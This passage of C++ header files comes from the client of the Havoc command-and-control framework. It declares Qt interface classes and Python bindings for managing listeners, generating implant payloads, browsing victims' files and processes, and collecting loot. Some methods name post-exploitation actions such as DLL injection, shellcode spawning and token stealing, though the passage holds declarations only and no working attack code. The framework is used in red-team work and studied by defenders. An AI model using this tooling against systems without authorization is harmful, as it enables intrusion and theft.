#endifhavoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/PyAgentClass.hpp000066400000000000000000000017771467014221700262250ustar00rootroot00000000000000#ifndef HAVOC_PYAGENTCLASS_HPP #define HAVOC_PYAGENTCLASS_HPP #include #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } typedef struct { PyObject_HEAD PCHAR AgentID; u32 CONSOLE_INFO; u32 CONSOLE_ERROR; u32 CONSOLE_TASK; } PyAgentClass, *PPyAgentClass; extern PyTypeObject PyAgentClass_Type; void AgentClass_dealloc( PPyAgentClass self ); PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds ); PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args ); PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/PyDemonClass.h000066400000000000000000000032721467014221700256610ustar00rootroot00000000000000#ifndef HAVOC_PYDEMONCLASS_H #define HAVOC_PYDEMONCLASS_H #include typedef struct { PyObject_HEAD // Demon Info char* Listener; char* DemonID; char* ExternalIP; char* InternalIP; char* User; char* Computer; char* Domain; char* OS; char* OSBuild; char* OSArch; char* ProcessName; char* ProcessID; char* ProcessArch; // Other Members u32 CONSOLE_INFO; u32 CONSOLE_ERROR; u32 CONSOLE_TASK; } PyDemonClass, *PPyDemonClass; extern PyTypeObject PyDemonClass_Type; void DemonClass_dealloc( PPyDemonClass self ); PyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds ); // Methods // PyObject* DemonClass_( PPyDemonClass self, PyObject *args ); // Command PyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_RegisterCallback( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_Command( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args ); PyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args ); // Utils PyObject* DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/PythonApi.h000066400000000000000000000036721467014221700252370ustar00rootroot00000000000000#ifndef HAVOC_PYTHONAPI_H #define HAVOC_PYTHONAPI_H #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") #define PY_FUNCTION( x ) PyObject* x( PyObject *self, PyObject *args ); #define PY_FUNCTION_KW( x ) PyObject* x( PyObject *self, PyObject *args, PyObject* kwargs ); namespace PythonAPI { namespace Havoc { extern PyMethodDef PyMethode_Havoc[]; namespace Core { PY_FUNCTION( Load ) PY_FUNCTION( GetDemons ) PY_FUNCTION( GetListeners ) PY_FUNCTION( GetAgents ) PY_FUNCTION_KW( GeneratePayload ) PY_FUNCTION_KW( RegisterCommand ) PY_FUNCTION( RegisterModule ) PY_FUNCTION( RegisterCallback ) } namespace PyModule { extern struct PyModuleDef havoc; } PyMODINIT_FUNC PyInit_Havoc(void); } namespace HavocUI { extern PyMethodDef PyMethode_HavocUI[]; namespace Core { PY_FUNCTION( MessageBox ) PY_FUNCTION( ErrorMessage ) PY_FUNCTION( CreateTab ) PY_FUNCTION( InputDialog ) PY_FUNCTION( OpenFileDialog ) PY_FUNCTION( SaveFileDialog ) PY_FUNCTION( QuestionDialog ) PY_FUNCTION( ColorDialog ) PY_FUNCTION( ProgressDialog ) } namespace PyModule { extern struct PyModuleDef havocui; } PyMODINIT_FUNC PyInit_HavocUI(void); } } namespace emb { typedef std::function stdout_write_type; struct Stdout { PyObject_HEAD stdout_write_type write; }; PyObject* Stdout_write(PyObject* self, PyObject* args); PyObject* Stdout_flush(PyObject* self, PyObject* args); PyMODINIT_FUNC PyInit_emb(void); void set_stdout(stdout_write_type write); void reset_stdout(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/UI/000077500000000000000000000000001467014221700234605ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/UI/PyDialogClass.hpp000066400000000000000000000036731467014221700267000ustar00rootroot00000000000000#ifndef HAVOC_PYDIALOGCLASS_H #define HAVOC_PYDIALOGCLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QDialog* window; QVBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; } PyDialogQWindow, *PPyDialogQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyDialogQWindow DialogWindow; } PyDialogClass, *PPyDialogClass; extern PyTypeObject PyDialogClass_Type; void DialogClass_dealloc( PPyDialogClass self ); PyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* DialogClass_exec( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_close( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_clear( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args ); PyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/UI/PyLoggerClass.hpp000066400000000000000000000020621467014221700267070ustar00rootroot00000000000000#ifndef HAVOC_PYLOGGERCLASS_H #define HAVOC_PYLOGGERCLASS_H #include #include #include #include #include typedef struct { QWidget* window; QGridLayout* layout; QTextEdit* LogSection; } PyLoggerQWindow, *PPyLoggerQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyLoggerQWindow LoggerWindow; } PyLoggerClass, *PPyLoggerClass; extern PyTypeObject PyLoggerClass_Type; void LoggerClass_dealloc( PPyLoggerClass self ); PyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args ); PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/UI/PyTreeClass.hpp000066400000000000000000000030141467014221700263650ustar00rootroot00000000000000#ifndef HAVOC_PYTREECLASS_H #define HAVOC_PYTREECLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QWidget* window; QHBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; QStandardItemModel* item_model; QStandardItem* root_item; QTreeView* tree_view; QTextBrowser* panel; QSplitter* splitter; } PyTreeQWindow, *PPyTreeQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyTreeQWindow TreeWindow; } PyTreeClass, *PPyTreeClass; extern PyTypeObject PyTreeClass_Type; void TreeClass_dealloc( PPyTreeClass self ); PyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args ); PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/PythonApi/UI/PyWidgetClass.hpp000066400000000000000000000037011467014221700267140ustar00rootroot00000000000000#ifndef HAVOC_PYWIDGETCLASS_H #define HAVOC_PYWIDGETCLASS_H #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QWidget* window; QVBoxLayout* layout; QScrollArea* scroll; QWidget* root; QVBoxLayout* root_layout; } PyWidgetQWindow, *PPyWidgetQWindow; typedef struct { PyObject_HEAD // Demon Info char* title; PPyWidgetQWindow WidgetWindow; } PyWidgetClass, *PPyWidgetClass; extern PyTypeObject PyWidgetClass_Type; void WidgetClass_dealloc( PPyWidgetClass self ); PyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ); int WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds ); // Methods PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args ); PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args ); #endif havoc-0.6~git20240910.69ce17c/client/include/Havoc/Service.hpp000066400000000000000000000021171467014221700233420ustar00rootroot00000000000000#ifndef HAVOC_SERVICE_HPP #define HAVOC_SERVICE_HPP #include #include #include #include typedef struct { QString Name; bool IsFilePath; bool IsOptional; } CommandParam; typedef struct { QString Name; QString Extension; } AgentFormat; typedef struct { QString Name; QString Description; QString Help; bool NeedAdmin; QStringList Mitr; std::vector Params; bool Anonymous; } AgentCommands; typedef struct { QString Name; QString Description; QString Version; QString Author; uint64_t MagicValue; QStringList Arch; std::vector Formats; QStringList SupportedOS; std::vector Commands; QJsonDocument BuildingConfig; } ServiceAgent; extern uint64_t DemonMagicValue; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/000077500000000000000000000000001467014221700227275ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Dialogs/000077500000000000000000000000001467014221700243115ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Dialogs/About.hpp000066400000000000000000000006641467014221700261020ustar00rootroot00000000000000#ifndef HAVOC_ABOUTDIALOG_H #define HAVOC_ABOUTDIALOG_H #include #include class About : public QDialog { private: QGridLayout* gridLayout; QLabel* label; QPushButton* pushButton; QSpacerItem* horizontalSpacer; QTextBrowser* textBrowser; public: QDialog *AboutDialog; void setupUi(); About( QDialog* ); public slots: void onButtonClose(); }; #endifhavoc-0.6~git20240910.69ce17c/client/include/UserInterface/Dialogs/Connect.hpp000066400000000000000000000031631467014221700264160ustar00rootroot00000000000000#ifndef HAVOC_CONNECTDIALOG_H #define HAVOC_CONNECTDIALOG_H #include #include #include #include #include using namespace std; class HavocNamespace::UserInterface::Dialogs::Connect : public QDialog { private: QGridLayout* gridLayout; QPlainTextEdit* plainTextEdit; QLabel* label_Name; QLabel* label_Host; QLabel* label_Port; QLabel* label_User; QLabel* label_Password; QLineEdit* lineEdit_User; QLineEdit* lineEdit_Password; QLineEdit* lineEdit_Host; QLineEdit* lineEdit_Name; QLineEdit* lineEdit_Port; QPushButton* ButtonNewProfile; QPushButton* ButtonConnect; QSpacerItem* horizontalSpacer; QListWidget* listWidget; QPalette* paletteGray; QPalette* paletteWhite; QMenu* listContextMenu; HavocNamespace::HavocSpace::DBManager* dbManager; public: vector TeamserverList; QDialog* ConnectDialog = nullptr; bool tryConnect = false; bool isNewProfile = false; bool FromAction = false; void setupUi( QDialog* Form ); Util::ConnectionInfo StartDialog( bool FromAction ); void passDB( HavocNamespace::HavocSpace::DBManager* db ); private slots: void onButton_Connect(); void onButton_NewProfile(); void itemSelected(); void handleContextMenu(const QPoint &pos); void itemRemove(); void itemsClear(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Dialogs/Listener.hpp000066400000000000000000000100131467014221700266020ustar00rootroot00000000000000 #ifndef HAVOC_LISTENER_HPP #define HAVOC_LISTENER_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include using namespace std; class HavocNamespace::UserInterface::Dialogs::NewListener : public QDialog { typedef struct { int Id; QLineEdit* Input; } Data; typedef struct { std::string Name; QWidget* Page; QFormLayout* Layout; int Index; json Items; } ServiceListener; std::vector ServiceListeners; public: QGridLayout* gridLayout; QGridLayout* gridLayout_2; QGridLayout* gridLayout_3; QGridLayout* gridLayout_4; QWidget* PageHTTP; QWidget* PageSMB; QWidget* PageExternal; QSpacerItem* horizontalSpacer_2; QSpacerItem* horizontalSpacer_3; QSpacerItem* horizontalSpacer_4; QSpacerItem* horizontalSpacer_5; QSpacerItem* horizontalSpacer_6; QSpacerItem* horizontalSpacer; QSpacerItem* verticalSpacerHeader; QSpacerItem* verticalSpacerUris; QLabel* LabelListenerName; QLineEdit* InputListenerName; QLabel* LabelPayload; QComboBox* ComboPayload; QPushButton* ButtonClose; QPushButton* ButtonSave; QGroupBox* ConfigBox; QStackedWidget* StackWidgetConfigPages; // Page HTTP QLabel* LabelHosts; QGroupBox* HostsGroup; QPushButton* ButtonHostsGroupAdd; QPushButton* ButtonHostsGroupClear; std::vector HostsData; QSpacerItem* verticalSpacer; QFormLayout* formLayout_Hosts; QLabel* LabelHostRotation; QComboBox* ComboHostRotation; QLabel* LabelHostBind; QComboBox* ComboHostBind; QLabel* LabelPortBind; QLineEdit* InputPortBind; QLabel* LabelPortConn; QLineEdit* InputPortConn; QLineEdit* InputUserAgent; QLabel* LabelUserAgent; QLabel* LabelHeaders; QGroupBox* HeadersGroup; QPushButton* ButtonHeaderGroupAdd; QPushButton* ButtonHeaderGroupClear; std::vector HeadersData; QLabel* LabelUris; QGroupBox* UrisGroup; QPushButton* ButtonUriGroupAdd; QPushButton* ButtonUriGroupClear; std::vector UrisData; QLineEdit* InputHostHeader; QLabel* LabelHostHeader; QCheckBox* CheckEnableProxy; QGroupBox* ProxyConfigBox; QLabel* LabelProxyType; QComboBox* ComboProxyType; QLabel* LabelProxyHost; QLineEdit* InputProxyHost; QLabel* LabelProxyPort; QLineEdit* InputProxyPort; QLabel* LabelUserName; QLineEdit* InputUserName; QLabel* LabelPassword; QLineEdit* InputPassword; QFormLayout* formLayout; QFormLayout* formLayout_2; QFormLayout* formLayout_3; QFormLayout* formLayout_Header; QFormLayout* formLayout_Uri; // Page SMB QLabel* LabelPipeName; QLineEdit* InputPipeName; // Page External QLabel* LabelEndpoint; QLineEdit* InputEndpoint; public: QDialog* ListenerDialog; bool DialogClosed = false; bool DialogSaved = false; NewListener( QDialog *Dialog ); MapStrStr Start( Util::ListenerItem Item, bool Edit ); auto ListenerCustomAdd( QString Listener ) -> bool; auto Free() -> void; protected slots: void onButton_Save(); void onProxyEnabled(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Dialogs/Payload.hpp000066400000000000000000000036311467014221700264160ustar00rootroot00000000000000#ifndef HAVOC_STAGELESSDIALOG_H #define HAVOC_STAGELESSDIALOG_H #include #include #include #include #include #include #include #include #include #include #include #include #include #include class Payload : public QDialog { bool Closed = false; public: QDialog* PayloadDialog; QGridLayout* gridLayout; QGridLayout* gridLayout_2; QGridLayout* gridLayout_3; QGroupBox* OptionsBox; QGroupBox* BuildConsoleBox; QTextEdit* ConsoleText; QComboBox* ComboAgentType; QComboBox* ComboListener; QComboBox* ComboFormat; QComboBox* ComboArch; QTreeWidget* TreeConfig; QLabel* LabelListener; QLabel* LabelArch; QLabel* LabelFormat; QLabel* LabelAgentType; QPushButton* ButtonGenerate; QSpacerItem* horizontalSpacer; QSpacerItem* horizontalSpacer_2; QSpacerItem* horizontalSpacer_3; QSpacerItem* horizontalSpacer_4; QSpacerItem* horizontalSpacer_5; QSpacerItem* horizontalSpacer_6; QSpacerItem* horizontalSpacer_7; QString TeamserverName; auto setupUi( QDialog* StagelessDialog ) -> void; auto retranslateUi() -> void; auto Start() -> void; auto Clear() -> void; auto ReceivedImplantAndSave( QString Format, QByteArray ImplantArray ) -> void; auto AddConfigFromJson( QJsonDocument JsonConfig ) -> void; auto DefaultConfig() -> void; auto GetConfigAsJson() -> QJsonDocument; public slots: auto buttonGenerate() -> void; auto addConsoleLog( QString MsgType, QString Message ) -> void; auto CtxAgentPayloadChange( const QString& AgentType ) -> void; }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/HavocUI.hpp000066400000000000000000000070521467014221700247420ustar00rootroot00000000000000#ifndef HAVOC_HAVOCUI_HPP #define HAVOC_HAVOCUI_HPP #include #include #include #include #include #include #include #include #include // QT libraries #include #include #include #include #include #include #include #include #include class HavocNamespace::UserInterface::HavocUi : public QMainWindow { public: QWidget* centralwidget = {}; QAction* actionNew_Client = {}; QAction* actionChat = {}; QAction* actionPreferences = {}; QAction* actionDisconnect = {}; QAction* actionExit = {}; QAction* actionTeamserver = {}; QAction* actionStore = {}; QAction* actionGeneratePayload = {}; QAction* actionLoad_Script = {}; QAction* actionPythonConsole = {}; QAction* actionAbout = {}; QAction* actionOpen_Help_Documentation = {}; QAction* actionOpen_API_Reference = {}; QAction* actionGithub_Repository = {}; QAction* actionListeners = {}; QAction* actionSessionsTable = {}; QAction* actionSessionsGraph = {}; QAction* actionLogs = {}; QAction* actionLoot = {}; QGridLayout* gridLayout = {}; QGridLayout* gridLayout_3 = {}; QTabWidget* TeamserverTabWidget = {}; QMenuBar* menubar = {}; QMenu* menuHavoc = {}; QMenu* menuView = {}; QMenu* menuAttack = {}; QMenu* menuScripts = {}; QMenu* menuHelp = {}; QMenu* MenuSession = {}; QStatusBar* statusbar = {}; Dialogs::Connect* ConnectDialog = {}; About* AboutDialog = {}; QMainWindow* HavocWindow = {}; HavocSpace::DBManager* dbManager = {}; public: void MarkSessionAs( HavocNamespace::Util::SessionItem session, QString Mark ); void UpdateSessionsHealth(); void setupUi( QMainWindow *Havoc ); void retranslateUi( QMainWindow *Havoc ) const; void setDBManager( HavocSpace::DBManager* dbManager ); void NewTeamserverTab( HavocNamespace::Util::ConnectionInfo* ); void NewTeamserverTab( QString Name ); void NewBottomTab( QWidget* TabWidget, const std::string& TitleName, const QString IconPath = "" ) const; void NewSmallTab( QWidget* TabWidget, const std::string& TitleName ) const; void ConnectEvents(); void PythonPrepare(); public slots: void OneSecondTick(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/SmallWidgets/000077500000000000000000000000001467014221700253265ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/UserInterface/SmallWidgets/EventViewer.hpp000066400000000000000000000005741467014221700303100ustar00rootroot00000000000000#ifndef HAVOC_EVENTVIEWER_HPP #define HAVOC_EVENTVIEWER_HPP #include class HavocNamespace::UserInterface::SmallWidgets::EventViewer : public QWidget { QGridLayout *gridLayout; public: QTextEdit *EventViewerConsole; QWidget* EventViewer; void setupUi(QWidget* Widget); void AppendText(const QString& Time, const QString &text) const; }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/000077500000000000000000000000001467014221700243355ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/Chat.hpp000066400000000000000000000012501467014221700257230ustar00rootroot00000000000000#ifndef HAVOC_CHATWIDGET_H #define HAVOC_CHATWIDGET_H #include #include #include class HavocNamespace::UserInterface::Widgets::Chat : public QWidget { QGridLayout* gridLayout = nullptr; QLineEdit* lineEdit = nullptr; public: QTextEdit* EventLogText = nullptr; QWidget* ChatWidget = nullptr; QString TeamserverName = nullptr; void setupUi( QWidget* widget ); void AppendText( const QString& Time, const QString& text ) const; void AddUserMessage( const QString Time, QString User, QString text ) const; public slots: void AppendFromInput(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/DemonInteracted.h000066400000000000000000000034561467014221700275630ustar00rootroot00000000000000#ifndef HAVOC_DEMONINTERACTED_H #define HAVOC_DEMONINTERACTED_H #include #include namespace HavocNamespace::UserInterface::Widgets { class DemonInteracted : public QWidget { private: QGridLayout* gridLayout; QLabel* label; QLabel* label_2; public: QWidget* DemonInteractedWidget; HavocSpace::DemonCommands* DemonCommands; QString TeamserverName; Util::SessionItem SessionInfo; QTextEdit* Console; QCompleter* CommandCompleter; QStringList CompleterCommands; QString AgentTypeName = "Demon"; class DemonInput : public QLineEdit { public: int CommandHistoryIndex; QStringList CommandHistory; explicit DemonInput(QWidget *parent = nullptr); void AddCommand( const QString& Command ); protected: bool event(QEvent *) override; private: bool handleKeyPress(QKeyEvent* eventKey); void handleTabKey(); void handleUpKey(); void handleDownKey(); }; DemonInput* lineEdit; void setupUi( QWidget* Form ); void AppendText( const QString& text ); void AppendRaw( const QString& text = "" ); void AppendNoNL( const QString& test ); QString TaskInfo( bool Show, QString TaskID, const QString& text ) const; QString TaskError( const QString& text ) const; void AutoCompleteAdd( QString text ); void AutoCompleteAddList( QStringList list ); void AutoCompleteClear(); private slots: void AppendFromInput(); }; } #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/FileBrowser.hpp000066400000000000000000000056141467014221700272770ustar00rootroot00000000000000#ifndef HAVOC_FILEBROWSER_HPP #define HAVOC_FILEBROWSER_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include typedef struct { QString Path; QString Type; QString Name; QString Size; QString Modified; } FileData; typedef struct _FileDirData { QString Path; QJsonDocument Data; std::vector Files; } FileDirData; class FileBrowserTableItem : public QTableWidgetItem { public: FileData Data; }; class FileBrowserTreeItem : public QTreeWidgetItem { public: FileData Data; QString ParentPath; }; class FileBrowser : public QWidget { public: QString SessionID; QMenu* MenuFileBrowserTable; QMenu* MenuFileBrowserTree; // General QAction* MenuFileBrowserRemove; QAction* MenuFileBrowserMkdir; QAction* MenuFileBrowserReload; // Tree QAction* MenuFileBrowserListDrives; QGridLayout* gridLayout; QSplitter* splitter; QFormLayout* formLayout; QWidget* FileBrowserWidget; QTreeWidget* FileBrowserTree; QWidget* FileBrowserListWidget; QPushButton* ButtonGoUpDir; QLineEdit* InputFileBrowserPath; QTableWidget* TableFileBrowser; std::vector DirData; void setupUi( QWidget* FileBrowser ); void retranslateUi( ); void AddData( QJsonDocument JsonData ); private: void TreeAddData( FileData Data ); void TreeUpdate( ); void TreeClear( ); auto TreeSearchPath( QString Path ) -> FileBrowserTreeItem*; auto TreePathExists( QString Path ) -> bool; void TreeAddDisk( QString Disk ); void TreeAddChildToParent( QString ParentPath, FileBrowserTreeItem* DataItem ); void TableAddData( FileData Data ); void TableClear(); void ChangePathAndSendRequest( QString Path ); private slots: void onTableMenuMkdir(); void onTableMenuReload(); void onTableMenuRemove(); void onTableDoubleClick( int row, int column ); void onTableContextMenu( const QPoint &pos ); void onTreeMenuListDrives(); void onTreeMenuMkdir(); void onTreeMenuReload(); void onTreeMenuRemove(); void onTreeDoubleClick(); void onTreeContextMenu( const QPoint &pos ); void onTableMenuDownload(); void onButtonUp(); void onInputPath(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/ListenerTable.hpp000066400000000000000000000017571467014221700276150ustar00rootroot00000000000000#include #include #include #include class HavocNamespace::UserInterface::Widgets::ListenersTable : public QWidget { private: QGridLayout *gridLayout; QSpacerItem *horizontalSpacer_2; QSpacerItem *horizontalSpacer; QTableWidget *tableWidget; HavocSpace::DBManager* dbManager; HavocSpace::Packager* Packager; QPushButton* buttonAdd; QPushButton* buttonEdit; QPushButton* buttonRemove; public: QString TeamserverName; QWidget* ListenerWidget; void setupUi( QWidget* widget ); void ButtonsInit(); void setDBManager( HavocSpace::DBManager* dbManager ); Util::Packager::Package CreateNewPackage( int EventID, MapStrStr ) const; void ListenerAdd( Util::ListenerItem item ) const; void ListenerEdit( Util::ListenerItem item ) const; void ListenerRemove( QString ListenerName ) const; void ListenerError( QString ListenerName, QString Error ) const; };havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/LootWidget.h000066400000000000000000000053541467014221700265760ustar00rootroot00000000000000#ifndef HAVOC_LOOTWIDGET_H #define HAVOC_LOOTWIDGET_H #include #include #include #include #include #include #include #include #include #include class ImageLabel : public QWidget { public: QLabel* label; QScrollArea* scrollArea; bool key_ctrl = false; explicit ImageLabel(QWidget *parent = 0); const QPixmap* pixmap() const; public slots: void setPixmap(const QPixmap&); protected: void resizeEvent(QResizeEvent *); void keyReleaseEvent( QKeyEvent* event ); bool event(QEvent *) override; void wheelEvent(QWheelEvent *ev); public slots: void resizeImage(); }; class LootWidget : public QWidget { public: enum { LOOT_IMAGE, LOOT_FILE, }; typedef struct { int Type; QString AgentID; struct { } File; struct { QString Name; QString Date; QString Size; QByteArray Data; } Data; } LootData; std::vector LootItems; QGridLayout* gridLayout; QLabel* LabelShow; QLabel* LabelAgentID; QComboBox* ComboShow; QComboBox* ComboAgentID; QTableWidget* ScreenshotTable; QTableWidget* DownloadTable; QMenu* ScreenshotMenu; QAction* ScreenshotActionDownload; QSpacerItem* horizontalSpacer; QStackedWidget* StackWidget; QWidget* Screenshots; QGridLayout* gridLayout_2; QSplitter* splitter; ImageLabel* ScreenshotImage; QWidget* Downloads; QGridLayout* gridLayout_3; QSpacerItem* horizontalSpacer_2; LootWidget(); void Reload(); void AddSessionSection( const QString& DemonID ); void AddScreenshot( const QString& DemonID, const QString& Name, const QString& Date, const QByteArray& Data ); void AddDownload( const QString &DemonID, const QString &Name, const QString& Size, const QString &Date, const QByteArray &Data ); void AddText( const QString& DemonID, const QString& Name, const QByteArray& Data ); void ScreenshotTableAdd( const QString& Name, const QString& Date ); void DownloadTableAdd( const QString& Name, const QString& Size, const QString& Date ); private Q_SLOTS: void onAgentChange( const QString& text ); void onShowChange( const QString& text ); void onScreenshotTableClick( const QModelIndex &index ); void onDownloadTableClick( const QModelIndex &index ); void onScreenshotTableCtx( const QPoint &pos ); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/ProcessList.hpp000066400000000000000000000031421467014221700273200ustar00rootroot00000000000000#ifndef HAVOC_PROCESSLIST_HPP #define HAVOC_PROCESSLIST_HPP #include #include #include #include #include #include #include #include #include #include #include #include #include #include class HavocNamespace::UserInterface::Widgets::ProcessList : public QWidget { private: QGridLayout *gridLayout; QSplitter *splitter; QTreeWidget *ProcessTree; QTableWidget *ProcessTable; QSpacerItem *horizontalSpacer; QPushButton *pushButton_Refresh; QPushButton *pushButton_Kill; QPushButton *pushButton_Steal_Token; QPushButton *pushButton_Inject; QSpacerItem *horizontalSpacer_2; QMenu *ProcessListMenu; QAction *actionCopyProcessID; QAction *actionSetAsParentProcess; public: Util::SessionItem Session; QWidget* ProcessListWidget; QString Teamserver; void setupUi(QWidget* Widget); void UpdateProcessListJson(QJsonDocument ProcessListData); void NewTableProcess(std::map ProcessInfo); void NewTreeProcess(std::map ProcessInfo); private slots: void onButton_Refresh() const; void onTableChange(); void onTreeChange(); void handleTableListMenuContext(const QPoint &pos); void handleTreeListMenuContext(const QPoint &pos); void onActionCopyPID(); void onActionSetParentProcess(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/PythonScript.hpp000066400000000000000000000012641467014221700275170ustar00rootroot00000000000000 #ifndef HAVOC_PYTHONSCRIPTWIDGET_HPP #define HAVOC_PYTHONSCRIPTWIDGET_HPP #include #include #pragma push_macro("slots") #undef slots #include #pragma pop_macro("slots") class HavocNamespace::UserInterface::Widgets::PythonScriptInterpreter : public QWidget { public: QGridLayout* gridLayout; QLineEdit* PythonScriptInput; QPlainTextEdit* PythonScriptOutput; QWidget* PythonScriptInterpreterWidget; std::string StdOut; void setupUi(QWidget *WindowWidget); void RunCode(QString code); void AppendOutput( QString output ); private slots: void AppendFromInput(); }; #endif havoc-0.6~git20240910.69ce17c/client/include/UserInterface/Widgets/ScriptManager.h000066400000000000000000000016441467014221700272520ustar00rootroot00000000000000#ifndef SCRIPTMANAGERVVJSUY_H #define SCRIPTMANAGERVVJSUY_H #include class HavocNamespace::UserInterface::Widgets::ScriptManager : public QWidget { public: QGridLayout *gridLayout = NULL; QPushButton *buttonLoadScript = NULL; QSpacerItem *horizontalSpacer = NULL; QSpacerItem *horizontalSpacer_2 = NULL; QTableWidget *tableLoadedScripts = NULL; QWidget *ScriptManagerWidget = NULL; QMenu *menuScripts = NULL; QAction *actionReload = NULL; QAction *actionRemove = NULL; void SetupUi( QWidget *Form ); void RetranslateUi( void ); static bool AddScript( QString Path ); void AddScriptTable( QString Path ); private slots: void b_LoadScript(); void 